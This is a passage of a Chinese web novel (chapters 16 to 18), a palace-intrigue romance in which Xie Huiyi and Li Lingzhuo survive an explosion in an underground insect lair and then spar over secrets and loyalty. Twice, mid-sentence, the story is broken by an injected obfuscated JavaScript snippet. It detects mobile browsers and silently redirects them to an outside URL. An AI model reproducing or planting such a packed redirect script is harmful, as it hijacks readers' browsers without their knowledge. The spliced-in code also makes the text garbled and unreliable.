只见被捆住双手的她缓缓起身,轻蔑的目光俯视着二王子,双目一片赤红。她的声音不含任何温度,仅有他们二人听得清楚。 免去了拔剑,免去了行走,唯独剩下了最后干脆利落的执行。 “把你的头献给我。” 下一刻,二王子的手不可控制地抽搐起来,仿佛跟他的身体并非同一人掌控。 紧接着,长剑调转了方向,锋利的剑刃忽而割断了喉管,那二王子的脖颈当场喷射出滚烫鲜血,洒了谢晦已一身。 但他整个人强撑着站在原地,目眦欲裂地瞪着她,既想不通发生了什么,又不甘心自己会这样死去。 而谢晦已似是受到了极重的反噬,痛彻心扉地吐出一大口鲜血,整个人栽倒在地,手指却不自然地弯曲着,似是要传达什么。 李灵濯按捺不住,提剑走了数步,这才看清谢晦已在地上写出的四个血字。 “离开这里。” 李灵濯脚步一顿,可不等他做出反应,整片山谷突然传来一阵巨大的轰鸣声。 几十个地宫出口全部打开,无数的守卫从地宫中涌出,双目无神地走到谢晦已身处的石台上,将他们团团围住。 “你们快给我抓住她!” 茶商见状大喜,赶忙用仅剩的那只手推搡那些守卫,对他们发号施令。 然而他们却纹丝不动,仿佛只是一具具会呼吸的人偶,双眼毫无光点、毫无温度。 茶商惊骇不已,趁谢晦已行动不便,将地上的断刀架在谢晦已的脖颈上,“这都是你搞的鬼?你对他们做了什么?李大人带人来了是不是?你不许动!” 谢晦已虚弱地笑了笑,却不忘提醒茶商一句:“你还敢在这里威胁我吗?李大人就在附近,地宫易守难攻,你应该带着我向地宫里走,那些孩子们就快要出来了。” “住口!” 茶商完全想不通二王子为何忽然自尽,这些人为什么跟丢了魂似的,但他能猜到一切都是眼前这个女人的筹谋。 于是,他对着无尽的山野大声喊道:“李大人,我知道你就在附近,倘若你敢伤我分毫,我便拉着她同归于尽!” 他拿刀柄狠狠敲了一下谢晦已的脑袋,“你马上出现在我面前,放下武器,别以为我不敢动她!” 李灵濯看着他的举动,眼底杀意又起,跃到一旁的山石之上,眼看就要跳到石台。 “您不能去啊,大人!” 一旁的将领死死拽住了他的衣袖,“谁知道那二王子有没有后手?就算他们此时群龙无首,下面也绝非安全之地!” 素秉也跪在他面前,竭力劝阻道:“是啊,主子。我们索性放开了手,直接将那茶商拿下。您身份贵重,绝不能因她涉险啊!” 山下,见李灵濯那边迟迟未有动静,茶商对谢晦已威胁道:“快点!你也给我说话!” “这是你让我说的,”谢晦已顿了顿,从地上缓缓起身,随后拔高了声音,“李大人!你绝对不要出现在这里,现在马上带着你的人撤退!” “老子让你劝降!让你把他叫出来!” 茶商心想,地宫里的那些东西很快就要孵化了,倘若能把李灵濯骗出来,自己就能在地宫里把他搞死,也算解决了后顾之忧。 “李大人,你再不出现我就把谢小姐杀了!你大老远从城内赶过来,总不想带回去一具尸体吧!” 犹如战前叫阵,谢晦已也不甘示弱地大喊道:“李灵濯,你若敢出现我就跟你绝交!此地危险,你快带着你的人离开这里,快走!” 听着谢晦已的话,留在李灵濯身边的人皆是一脸敬佩。 这位谢小姐这般识大体,不仅不为自己的安危考虑,还一味地劝走他们,这是何等崇高的自我牺牲? 主子也一定会听劝吧? 素秉这时默默地转过头,却发现自家的主子早已不见了踪影,留在原地的,只有一堆被拍碎的山石。 16. 同生恨火 “住手!” 李灵濯的目光死死锁在谢晦已身上。 不过短短数日,她怎么又把自己弄得如此狼狈? 谢晦已说不清自己是否期盼李灵濯出现,但看到他真的现身时,她险些一口鲜血呛进喉咙。 “你!你这个蠢货!”她咬牙切齿地怒斥道,“我让你马上带人走!李灵濯,没时间了!” “住口!碍事的东西,”茶商手中的刀锋又压近几分,死死抵在谢晦已的脖颈上,“李大人,赶紧把刀放下,跟我过来!” “都给我闭嘴!” 李灵濯被他们吵得太阳穴突突直跳,呵斥过后,还是选择扔掉武器,并转头对整个山谷命令道:“全军听令,立刻撤退,退出山谷!” 随着命令下达,灌木丛沙沙作响,无数风波乍起,谢晦已这才惊觉,漫山遍野早已布满李灵濯的人手。 撤退就好,她暗暗松了口气,虽是被茶商押着走,但她的脚步却越发缓慢。 “你又在搞什么名堂?老子大发慈悲,让你们做对苦命鸳鸯,你别敬酒不吃吃罚酒!” 茶商态度恶劣地催促着她,眼看一脚就要踩中地宫的入口。 就是现在。 谢晦已挣脱了绳索的虚假束缚,翻身一跳,抬手对着茶商的膝盖就是一箭。 “啊!” 一切都发生在电光火石间,茶商大惊,整个人不受控制地朝着地宫倒去。 即将触碰到地宫入口时,他才猛地看清,那上面缠着无数令人毛骨悚然的引线。 他竭力挣扎着,想要在半空中扭转方向,然而谢晦已早已出手,将他的心念吸食得干干净净,让他彻底沦为一具向下坠落的空心人偶。 “李灵濯!趴下!” 谢晦已回身朝着李灵濯奔跑而来。 在她飞身而起,急切地将李灵濯扑倒在旁时,那一刹那的地面射出了亮如白昼的光芒。 他正想弄清楚谢晦已在搞什么名堂,谢晦已就给了他明确的答复。 “砰!轰隆——” 巨大的爆炸声骤然响起,紧接着,他们脚下的土地从下而上迸发出巨大的力量,停在表面的石块冲天而起,在亮光中化作粉末。 祭台处冒起熊熊大火,原本必然会波及他们身上,然而那些守卫形成了数堵人墙,将爆炸的威力承受了十成十,如今早已化为灰烬,只余下一地鲜血。 那灼眼的光亮穿透了烟雾般弥漫的瘴气,也照亮了整座山谷。紧接着,两侧的山崖也发出了令人恐惧的轰鸣。那些土块不堪重负,从两旁山坡彻底滑落,掩埋了那座拥有无数出口的庞大地宫。 一瞬间尘土飞扬,火光冲天,乌云遮日,仿佛万物走到了穷途末路,一切生机都在方才的坍塌中溘然长逝,可他们所处的位置正如一叶扁舟,安然无恙地立在风暴中心。 自然面前,人渺小得如同沙砾。他紧紧抱住那一颗尘埃,眼中的无尽黎明,正在绿意盎然中恣意生长。 是笃定?是好奇?他想不通,他只想把人从这堆糟糕透顶的泥泞中拉出来。 他被震得失去了听觉,但在最终的那一瞬间,他看见了一双瑰丽的眼睛,随后便失去了全部意识。 “阿祓?对不起,母妃对不起你,你醒醒好不好?” 李灵濯缓缓睁开眼。 看清身侧的年轻妇人,他刚想说话,喉咙传来的痛楚令他瞬间剧烈咳嗽起来。 他捂着脖颈,摸到了上面狰狞的伤痕,也瞥见了自己过于幼小的双手。 于是,他无助地看向女子,然而女子却目光怨毒,连杯水都不愿施舍。 “为什么你还是会醒?” 女子喃喃自语,眼尾泛起病态的猩红:“为什么活下来了?你这个孽障,为什么还能喘气!为什么要来拖累我!” 李灵濯挣扎着起身,声音稚嫩地喊了一声:“母妃?” 女子突然扑了上来,枯瘦的手指死死掐住他的脖颈:“都怪你!都怪你!为什么我不能回家?为什么你还没有死?为什么!” 李灵濯挣脱不掉,却在窒息的那一刹那重获呼吸。 “对不起,对不起,阿祓?阿祓?” 女子摇晃着他,又将他抱在怀中放声大哭,眼泪砸在他的肩头:“母妃不想杀死你,母妃做不到啊!” 她似乎哭累了,没过多久就睡了过去。李灵濯默默地退到房间一侧,跨过高高的门槛,像只受惊的幼兽般蹑手蹑脚地走出房门。 一颗石子落在他的脚边,令他不禁抬起头。 “怪物!苍蝇!” 一张孩童的面孔趴在墙头,“你今天又活下来啦?你那个疯娘还是没有掐死你?” 李灵濯静静地望着他,既没有回答,也没有生气。 “真是个哑巴。” 时间久了,小男孩觉得无趣,拍了拍身上的尘土,拿着弹弓蹦跳着跑向御花园。 门外,按时来送饭的太监又开始掐着嗓子喊他:“喂!小蛮夷快点过来!这顿饭不吃明天可就没有了!” 李灵濯起身走了过去,刚想去拿地上的馒头,那太监忽然一脚踢翻了饭碗。 一碗掺着沙土的凉粥泼洒在地。 “呀!还敢跟咱家撒泼?你不要命了?”太监尖着嗓子大骂。 李灵濯愣了片刻,随后摇了摇头,“我没有。” 可太监本就是故意找茬,此刻更是毫无顾忌地扯住他的耳朵:“还敢还嘴?小杂种。” “啪”的一声,巴掌突然落下,李灵濯被打得耳朵嗡嗡作响。 太监犹不解气,上前一步指着他的鼻子咒骂:“你以为你是什么东西?敢对咱家甩脸子?不就是仗着认了个好师父,在御前露过几次面,真以为自己飞上枝头变凤凰了?等咱家当上了大总管,看你还能耀武扬威几日!” 李灵濯听出他是在指桑骂槐,突然觉得荒谬至极。 “你还敢笑!”太监又怒骂道。 李灵濯静静地看着他的眼睛,语气诡异地压低:“冷宫的差事不好做吧?你想不想换一份美差?” “小杂种,你自己都自身难保,还能有什么办法?” 李灵濯掩去杀意,唇角勾起一抹冰冷的弧度:“你知道我是无辜的,我父皇也是知道的,只是碍于情面不好退让。你只要按照我说的去做,什么前程不是唾手可得?” 斜阳西下,残月初升。 李灵濯看着小太监远去的背影,眼底的阴戾翻涌而起。 是啊,冷宫是没有眼睛盯着的,所以那些太监才会如此肆无忌惮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875693|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地欺凌他。 所以,他杀死一个人也没有关系吧? 所以,杀光整个皇宫的人也没有关系吧? 火光冲天,殿中跪着的人,如风中枯叶般簌簌发抖,弯下脊背叩首在地,即便眼中仍藏着不甘,颤抖的身躯却早已替他们做出臣服的抉择。 这份凌驾于人心之上的绝对掌控,让他胸腔里翻涌着近乎癫狂的快意,却在龙榻前戛然而止。 母妃疯了。他永远记得罪魁祸首是谁。 那个人缠绵病榻,在召见不到太医时,讨好似地承诺着,要将母妃与自己合葬。仿佛他与母妃什么都没有发生,仿佛母妃还是那个远道而来,不谙世事又思乡心切的娄厥公主。 可是母妃已经疯了。 盛朝从未有人为她学过娄厥语,故而最初的那些祝愿,与最终那些恶毒,全是对着他说的,也只有他一人听得懂。 母妃不是忽然疯掉的,罪魁祸首不会忽然醒悟。 所以,他会替母妃不死不休。 那个人会以宫人身份被草席卷走丢进乱葬岗,而母妃的衣冠会以帝王仪仗下葬皇陵,受万世敬仰。 他知道自己早就疯了,但他没想到相同的言论会在极南边陲,从一个素不相识之人的口中听见。 那时他便明白,这片贫瘠的土地上,终究开出来了不合时宜的恶之花。 他懂得那份恨意,自然不会允她过早夭折。 昏昏沉沉,他不知道自己昏睡了多久,但当他再次睁眼时,他的身边只有谢晦已一人。 只见她在火光中缓缓起身,拍了拍身上的尘土,站在一处石块上,居高临下地看着他,那一刹那宛若神祇。 “接着。” 那是二王子与茶商的人头。 李灵濯扶着脑袋竭力让自己清醒,随后神色凝重地站了起来。“我昏了多久?” 谢晦已跳了下来,把那柄卷刃的刀丢到一旁。 “整整一天。” 还好她控制好了分寸,李灵濯苏醒的时候,恰好是她安顿好那些患了虫疾的村民,并确认其他知情者全部灭口以后。 李灵濯皱紧了眉头:“这么久了,我的人没有找进来?” 谢晦已摇了摇头,有些担忧地说:“外面的路被堵住了,我一直守在你身边,根本没有人来过。” 她在外面布下了简易的迷阵,就算他的人想要搜寻,也绝对找不到他们的踪迹。不过,她刚刚解开了这道禁制,李灵濯手下的人应该很快就要找来了。 “李大人,青州城那边我也做了一点事情。我觉得我有必要……” 这时,李灵濯忽然将自己的氅衣解下,披在谢晦已身上。 紧接着,他又将兜帽拉了起来,并狠狠地扯紧系带,将她整个脑袋都包了进去。 谢晦已一言不发,偷偷从缝隙里打量着他的神情。 只见他的眼睛比往常还要冰冷,仿佛饿了三天的老虎下一刻就要吃人。 谢晦已心虚不已,但是又觉得自己根本没错。明明这个结果合乎他心意,至于过程如何,他管得着吗? “我有要事禀报,”她严肃地举起了手,“李大人通融一下?” 她那双明亮而又灵动的眼睛,活脱脱像一只披着狐狸皮的狼。 17. 恃宠而骄 “老实交代。”他抬手松开绳子,语气听不出喜怒。 谢晦已将早已编好的话缓缓道出:“我杀了王同知,也是从他嘴里得知,地宫里有一只硕大的蚁后,将来会筑巢在青州边关。 “我穿着守卫的衣服混入地宫,提前布置好了火药。那些守卫心思单纯,很好被策反。我骗他们站在祭台上,最终替我们挡了一劫。” 她忧心忡忡地询问道:“这些守卫曾经都是附近的村民,又替我们挡了一劫,官府会给他们的家人发放恤金吧?” 被“工蚁”思维支配的守卫已经不是活人了,她吸食过他们,自然清楚躯壳之中残余的尽是怨恨。她能做的只有驱使他们,作为死者葬身火海。 研究虫卵还需时日,然而她必须当即做出决断。她无从得知,这些外表看似正常的人,回归生活后会有怎样的变数。 没有人敢打保票,他们往后会不会像蚂蚁一样筑巢而居、啃噬堤坝,尸首土葬后,会不会出现异常。 所以,她必须做这个恶人,也为此设计出这个结局,将李灵濯牵入其中,让他有不得不发放恤金的理由。 作为交代,她留下两枚蚁卵虚掩在泥土中。至于那些患了虫疾的人,她留着另有其用。 李灵濯目不转睛地看着她:“嗯。” 见他神色无异,谢晦已继续说道: “我知道他们烛夜人擅水,刘知府人不错但是蠢了些,我一时半会交代不明白,便仿写了你的字迹,又给青州海防那里递了话,令他们搜查船底,尤其是烛夜抵达的船只。 “光有人搜查还不够,我需要军队。那些官员互相推诿实在是难看,你那玉佩他们也没见过,根本没有威慑力,所以我绑了城中画师的一家老小。” “谢晦已,”李灵濯直接被她气笑了,“你是强盗吗?” “你先别气,后面还有更气的。” 谢晦已面色云淡风轻,“你既然是锦衣卫指挥使,手里有个御赐之物很正常,所以我让画师给我画了条龙,仔仔细细地刻在我的令牌上。 “当然,我又让官府的人配合我演一出大戏。官兵们假装破门而入,将我当场抓获,又解救了他们一家老小。他们现在对李大人真可谓是,感恩戴德呢。” 李灵濯垂眸看她,半晌才开口道:“龙你都能画出来,你还不敢做什么?” 谢晦已满不在意地说:“既是正事,在乎那些条条框框做什么?你的名号响得很,他们压根没见过什么京官。我那条龙成功唬住了他们,让他们最迟今晚要交出个结果。我想,这会儿也该送到刘大人手中了。” 李灵濯似笑非笑:“万事俱备,你怎么不去造反?” 谢晦已故作惊惧地打量四周,随后凑到他耳边,对他轻声说道: “王同知布下的壳子凑合能用,李大人大可将地宫里的事情全都推给朝廷,声称圣上昏聩,亲近邪佞,此事你就不是出师无名。 “但是你没有必要北上清君侧,占领青州割据一方便好,此地易守难攻,是块难啃的骨头。百姓们其实对政局也没你想象得那样在意,山谷里的土地不能耕种,你大可分给那些流民,让他们以放牧为生……” 李灵濯越听越恼火,正想出言打断,刚一扭头看她,就瞧清了她脸上狡黠的笑。 “行了,李大人听一半也该交钱了,向我问计可不是免费的。”她伸出了手。 李灵濯欲言又止,最终冷着脸从怀里掏出一叠银票拍进她手里,“在外面,不准再这样胡言乱语。” 谢晦已迅速收走了银票,不过毫无悔改之意。 “我有什么错?是你该反思一下,若不是青州官府督察无力,边境海防松懈,我怎会这样容易得手?你这钦差当得真不是时候,如实上报的话,可要把这群地头蛇得罪透了。 “不过一码归一码,我来到山谷是为了救你,如今倒也坐实了救命恩人的身份,你可不要得寸进尺。” 李灵濯静静看着她,原本想要说出口的斥责怎么也说不出口,那些疑惑也只是堵在心头。 “你有没有受伤?”他温声问道。 谢晦已摇了摇头。灵台受损并非皮肉伤,她需要时间修复。 李灵濯的目光不觉间柔和几分:“怎么哑巴了?” “你方才为什么非要跳出来?” 谢晦已颇感郁闷。 这是她整个计划之中唯一一个变数,还好王同知的那包迷香她带来了,要不然以她灵台现在的状况,能不能控制得住李灵濯并不好说。 “我做事自然是有十足把握,况且我也明确向你暗示过,你明明不必以身涉险。”她又说道。 李灵濯故作轻松:“纪茶商是个关键人物,我本想着要提他去审讯的,但是现在……死了就死了吧。” 谢晦已挑了挑眉,满不在乎地转身离开。 “走什么?我还没说完,真没耐心。” 李灵濯抿了抿嘴,抬手扯住她的衣袖,“我不清楚你的把握与你的目的,不信任你的抉择,况且你无牵无挂,一念之差,阴差阳错,足以发生许多变故。谢晦已,下不为例。” 他脱口而出的是他的尖锐,却没有说明到底是什么“下不为例”,也没有说出他的担忧。 为他的慌张,为他的后怕,为他那一瞬的惊惧,他不能说。 他目睹过父皇的后宫争斗,知道帝王的偏爱与冷落本身就是错,然而他清晰地意识到,事态似乎正滑向一个难以收场的方向。 正如此刻,他已隐约窥见了那个结局。或者说,他从一开始就预见到了,而如今他在纵容自己,清醒地沉沦。 雪夜里掩埋的东西,彼此争执却又从未点明过的东西,终究于今日展露一角。 “主子。” 他的几名暗卫匆匆赶来,跪在他面前,正准备向他汇报山谷中的状况。 见到他们,李灵濯忽然长舒一口气。然而,谢晦已却轻挑起他的小手指。 李灵濯回过头去,发现这只狡猾的狼终于露出了她的尾巴。 “李大人难道不敢告诉我,你为何如此生气?”她故作不谙世事的姿态,大胆地踩在他的底线上,“你分明生气了,以为我看不出来?” “就此揭过不好吗?” 李灵濯压低眉宇,深邃的眼睛多了几分晦暗,然而在他有限的疏离之中,夹杂的是几分赤裸而灼热的逼近。“再问下去就失礼了,谢小姐。” “是李大人自己答得有失体面了。”谢晦已又是一笑,虽是仰视着他,但进退与否悉数掌握在她手上。 “看来于你而言,我不是可有可无的人?”她问。 她不是一个安分的人,倘若让她抓住软肋,会被立刻化为一柄锥心刀,李灵濯对此深信不疑。 于是他避而不答:“无论我回答什么,你都能相信?”她并非可有可无,然而这样的问题无论如何作答,都显得过于轻佻,而难以窥见真心。 “不敢说下去了?”谢晦已故作失望地说,“还以为李大人会道出个‘死生与共’,稍稍为我压个惊。” 李灵濯垂下头。看着她那双蛊惑人心的眸子,饶是再铁石心肠的人,都会为她垂首三分。“这句话太假,放在现在还不够格。” 谢晦已笑了笑,凑近他的耳畔问道:“那李大人的‘下不为例’,又有几分是真?” 李灵濯不语,忽然拿起她的手掌,在她手心一笔一划地写下四个字。 恃宠而骄。他什么都知道。 “谢小姐知道这样做的代价吗?”他问。 谢晦已想要缩回手心,却被李灵濯重新攥住。 于是,她也无法避而不谈:“即便是‘狗仗人势’,李大人又能容我几分?” 她又近了一步,将手放在他的心口:“我又能将它挖出来几分?” 她毫不掩饰自己的勃勃野心,从不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875694|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吝啬自己的虚伪,更是将自己的锋利显露无遗。她想借助李灵濯之势,靠近他并非全无目的,而如今她只需要一个首肯。 一如她所料,李灵濯给了她肯定的答复:“谢小姐素来行事无忌,我何曾有过苛责?” “李大人没想放过我。” 这个答案谢晦已早就清楚,不过是第一次挑明了说。在张宅的那条巷子里,没有人比她更清楚他的伞倾斜了几分,也没有人比她清楚他的炙热。 “你不知道?”李灵濯眉眼舒展,嘴角微微翘起。 “我自然知道。”谢晦已说道。 她知道他们是两个见色起意,而又心怀鬼胎的人,知道彼此都想在对方身上取暖,来捱过冬日的严寒。 “只是看破不说破罢了。”她又说道。 李灵濯仿佛被她的声音蛊惑,下意识地想要吻向她,却被她轻巧地躲开。 李灵濯盯了那双潋滟芳华的眼睛许久,喉结微微颤动。 “不,你什么都不知道。” 于是在暗卫们惊愕的目光中,他将她拦腰抱起,将她带离那片是非之地,远离了那场山火。 *** 夜深人静,寒霜卷土重来。青州城中,却是一室旖旎。 谢晦已微眯着餍足的双眼,青丝早已被汗水打湿。倚在浴桶边缘,微微失神时,她忽然想起这几日的关于他的非议。 面对这双眼睛,她会觉得妖异吗? 水声暂歇,李灵濯伸手将她的发丝掖在耳后,动作极致轻柔:“谢小姐在想什么?” “在想……” 谢晦已半阖着眼,慵懒的笑意从眼角漫开,吐气如兰:“我很喜欢李大人的眼睛。” 话音刚落,她就发觉那双碧色琉璃染上了欲色,变得更加幽深。 他哑声道:“一句好听的谎话,我很喜欢。” 翌日。 谢晦已缓缓睁眼,只觉浑身酸痛。 某人昨夜似是中了什么邪,非要里里外外检查自己有没有受伤。 新伤没有,旧伤倒是不少。他拿着烛火照亮,一条一条轻抚而过,不知发了什么蛇瘟,非缠着她问个没完。 不过她也没说什么实话就是了。 “你在忙什么?” 甫一转头,她便瞥见李灵濯正为自己涂抹药膏。这一动,手腕上的药膏直接蹭在被褥上。 “别动。”李灵濯伸手按住她,“刚让府医送来的药,或许会有些刺痛,但药效极佳。” “什么药效极佳?难不成这里面掺了金子……嘶!” 谢晦已刚想调侃,便倒抽一口冷气。她的五官也跟着揪作一团:“你怎么不早说?不对,这是什么药?我又没受伤。” 药膏混合着艾叶与雄黄的气息,李灵濯开口解释:“这是驱虫膏。你昨日去了山谷,双手暴露在外,难免沾染虫毒。” 他语气淡然,掌心却不着痕迹地覆上她腕间,按压了某个穴位。 谢晦已浑身一颤,随机如炸了毛的小兽,一个激灵坐了起来。 腹中的蚁卵被药效唤醒,此刻剧烈挣扎着,在她体内翻江倒海。可为了掩盖这一点,她硬是强忍剧痛,没发出一声闷哼。 “你怎么了?”见她脸色不好,李灵濯伸手去摸她的额头。 “没什么。” 谢晦已不着痕迹地避开他的触碰,随即收回了手。 “李大人未免有些过于谨慎了,我现在活蹦乱跳的,哪里像染上了虫毒?倒是你,在山谷里待了那么多天,可别是贼喊捉贼啊。” “怎么又乱咬人?你莫不是心虚了?”李灵濯眉头微蹙,从她身后拉过她的手,指尖再次轻扣她脉搏。 察觉到她脉象紊乱时,他似是什么都懂了。 “谢晦已,昨夜你的脉象便是乱的,”他另一只手贴在她后腰,声音格外幽冷,“可你身上并无新伤,你在地宫里究竟做了什么?” 18. 秀色可餐 谢晦已总算明白他今早闹这一出的缘由,稍作思量后,她笑得很是无奈:“能做什么呢?我只是想为李大人分忧。” “为了不吵醒你,郎中是悬丝候诊于外,你以为你身体的情况还能隐瞒几时?” 李灵濯目不转睛地看着她,“我幼时听闻,虫卵若在体内孵化,要先从五脏六腑开始啃食,最后才会化作成虫从眼耳钻出。你说那是何种景象?” 谢晦已强压下喉间翻涌的腥甜,后仰避开他探究的视线,发丝凌乱地散落在枕上。 “谁知道呢?好端端的,李大人说这种事做什么?好在我还没用早膳,否则真是倒胃口。” 她正想转移话题,却见李灵濯从袖中取出一只小玉瓶,倒出一颗晶莹剔透的药丸。 “是吗?你不爱听的话我还没说完呢。你若想拿药当饭吃也不是难事,这是辟虫丹,每日一粒可治虫疾。” 不等她做出反应,他便伸手捏住她的下巴,迫使她张嘴服药。谢晦已当即挣脱他的束缚,随后蜷缩在床榻一隅。 屋中气氛顿时凝固。 “你方才是说,想为我分忧?”李灵濯打破了寂静,似笑非笑地看着她,“我只瞧见了一个拒绝医治的病患,我有什么忧能让你以性命相搏?” 眼见瞒不住,谢晦已稍思忖了片刻,随即编好了另一个故事。 “倒也不算对你有所隐瞒,我也是这会儿才明白他们原本的打算。我知道你对祭台上面的事情心有疑虑,凭我三言两语不可能诱导他们赴死。 “如你所料,地宫里确实发生了一些事情,只是我尚未弄清他们的意图,你方才的话让我有了几分推断。” 谢晦已的目光透露着思索,仿佛真如她所言,因李灵濯方才的点拨才有了眉目。 “什么推断?”李灵濯问。 “那些守卫一直在胡言乱语,倘若你的手下事先探查过,就知道我所言非虚。” 谢晦已缓缓叙述道: “我运气不好,从通道下去时遇上了他们,可他们并没有杀我,而是逼我吞下了一枚荔枝似的东西,随后将我锁在一个虚掩的牢房中,根本不怕我逃走。如果那就是虫卵的话,那么一切都说得通了。” 李灵濯听懂了她的言外之意,“你的意思是说,那些守卫与蚂蚁无异,不存人形,仅存兽性,于是你利用蚁群的特性操纵了他们?” “我哪里有那般神通广大?不过是擒贼先擒王,潜入最底层,威胁到了他们的蚁后。” 谢晦已无奈一笑,“蚂蚁害怕雨水,所以我用一些火药炸开了地下暗河,在他们修补地宫时,又暗示他们趁早搬家为妙。 “我那时还诧异,为何他们抓了我却不急着灭口,想来是因为虫卵。倘若我没有逃出地宫,那么我最终也会被他们同化,成为他们的一员。” 说到这里,谢晦已又抬头看他,懊恼叹气道:“这枚蚁卵吐也吐不出、消化又消化不掉,难道生出了一层铜墙铁壁?若我因此丢了性命……” 话音未落,她的唇便被封住。这个吻带着几分狠戾,仿佛要将她的胡言乱语尽数吞没。她的呼吸也被悉数掠夺,憋闷得实在难受。 于是,她对着他的唇狠狠一咬,出声低骂道:“李灵濯,你属狗的?” 李灵濯的身子微微一僵,随即幽幽说道:“没有‘若’这个假设,在你痊愈之前,在我准许之前,你不许出这个门。” “什么意思?” 这句话听起来很奇怪,然而谢晦已来不及细究,就被他的举动再次惊住。 只见李灵濯伸手在床下翻了翻,一颗人头被他拎着头发举到她面前,可她根本不认得这颗脑袋。 “你不会想说这是我的早膳吧?”谢晦已冷脸询问道,“你做什么?” 李灵濯温声解释道:“他是为你而来的刺客。你知不知道,如今你在黑市的赏金有多高?为了谢小姐的安危,闭门不出是最好的选择。” 谢晦已缓缓坐直身体,“留一颗脑袋在我床下,只是为了吓破我的胆子?李大人借坡下驴的意图未免有些明目张胆了。” 李灵濯并未否认,“这也是为谢小姐的安危着想。虽然你给了我意料之外的答复,但我的行为是预期以内的结果。比如,你的异心,你的背叛。” 谢晦已不动声色地瞥了他一眼,随即收回了目光。两人之间的对峙与提防,更衬得昨夜的柔情蜜意尽是逢场作戏。 于是,她半晌才开口。 “黑市的悬赏,是你主动发布的?即便我给出了你满意的答复,你也不肯收手?” 李灵濯掐住她两侧脸颊,人为地让她笑了起来,“我画得很好看,谢小姐若有不满,也改不了那些画像了。” 谢晦已“啪”的一声打落了他的手,“你开出的赏金是多少?” “一万两黄金。”李灵濯说。 “我的脑袋只值一万两黄金?” “价高则有疑,那些亡命之徒不会轻易出手。” 紧接着,李灵濯又适当关心了几句,仿若无事发生,“见不见我的,用过早膳再说。听府里的人说,你前几日都没什么胃口,所以我寻来了一位新厨子。” “我要先去更衣。” 谢晦已阖上双眼,思忖着自己接下来的举措,嘴上却故作赌气地说道:“你出去,看着你我便没有胃口。” 李灵濯没有吭声,更没有乖乖听话,而是伸手将她从床榻上抱了起来。 “你又做什么?”谢晦已瞬间绷紧了身体。 “谢小姐身子弱,沐浴更衣之事,自然由我代劳。” 山谷之事已了,刘知府接管了后续事宜。今日众人在青州做休整,只待明日便从官道向北,前往下一座城池。 用过早膳,李灵濯也没提出去这一茬,而是由着素秉上前回禀城中事宜。 谢晦已狠狠瞪了他一眼,随后离了他身边,坐在软榻上翻起盛朝的舆图。 素秉步入屋中。见到神色恹恹的谢晦已时,他目光微怔。 主子清晨那会儿蹑手蹑脚的,跟做贼似的,不走正门非走窗户,出门之后又是抓药又是悬赏,更因山谷里劝阻那事,将他骂得狗血淋头。转过头,又将营里的人统统下了大牢,闹得城中一阵鸡飞狗跳…… 好歹也是到了弱冠之年了,怎么还能干出这种冲冠一怒的事? 素秉越想越郁闷,一时间有些走神。 这时,李灵濯以指节敲了敲桌子:“眼睛不知道往哪搁?” 有山谷里那一出,他们的关系这会儿怕是要人尽皆知了。不过这样也好,省得下次再出什么事情,身边的人还觉得她无关紧要。 素秉回过神来,急忙跪在地上,声音不大不小:“属下知罪。” “山谷那边如何?”李灵濯淡淡地问。 “地宫已被彻底封死,刘知府已在城中找寻大量郎中,治疗那些受伤的村民。残余虫卵两枚,目前已快马加鞭送往京城……” 听到素秉的话,谢晦已这才将手中的舆图继续摊开。 “主子,那座私军工坊朝廷早已下令废弃,然而张知府表面遵从,暗中却擅自于旧址重建,更有王同知与外敌勾结,企图谋反。烛夜的船舱中确实藏着士兵,好在……” 素秉不动声色地看了一眼谢晦已。 “主子提前派了军队严加防范,港口那边只是有一阵骚动,并未酿成大祸。烛夜国君知晓此事后惊惧不已,愿献上香料、黄金与翡翠平息盛朝怒火,烛夜大王子也将于来年三月随使团抵达京城。” 谢晦已垂眸不语,指尖无意识摩挲着外海区域,将南部的“妄海”二字碾得发皱。 李灵濯的目光落在她的指尖,缓缓开口道:“时间对应不上。三年前张知府便已重启工坊,然而两年前蚁卵才来到青州,且他对此并不知情。 “王同知与烛夜勾结,将蚁卵迁入地宫也不过是最近一月的事情。两者中间有纪茶商牵线,而茶商又是谁的傀儡?” 听出他们情报尚有缺失,谢晦已突然抬起眼,视线如鹰隼般锐利:“容我打断一下,定州可是水道众多,号称水乡之冠?” 李灵濯微微颔首,随后又问:“怎么了?” 谢晦已一边思忖着,一边垂下眸子,匿去了剖析亡 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“姓纪的效忠于尊先生,是因为妄海的贸易。你对盛朝如此忠心耿耿,又是为了什么?就因为你姓李?” 他并不像是甘于服从的人,说是造反的人还差不多,可看他整日天天给京城办事,她总觉得有些诡异。 李灵濯淡然一笑,语气轻描淡写:“身为朝廷命官,我自当忠诚于国,忠于李氏皇朝。” 谢晦已扔下舆图,踱步到他身侧,俯下身子不动声色地追问:“那么,这份忠心是否包括那些反对娄厥的百姓?比如……被你凌迟处死的那些?” 空气似乎停滞了片刻,看着李灵濯的面色变得阴郁,谢晦已意识到自己确实触及到了他的逆鳞。 只听他冷然猜测道:“是谁向你透露的?是王同知?” 谢晦已有意维护于虞,轻轻点头:“是。” 李灵濯伸手扯住谢晦已的手腕,如同攥紧一块成了精的温玉,生怕她夺门而去:“他还跟你说什么了?” 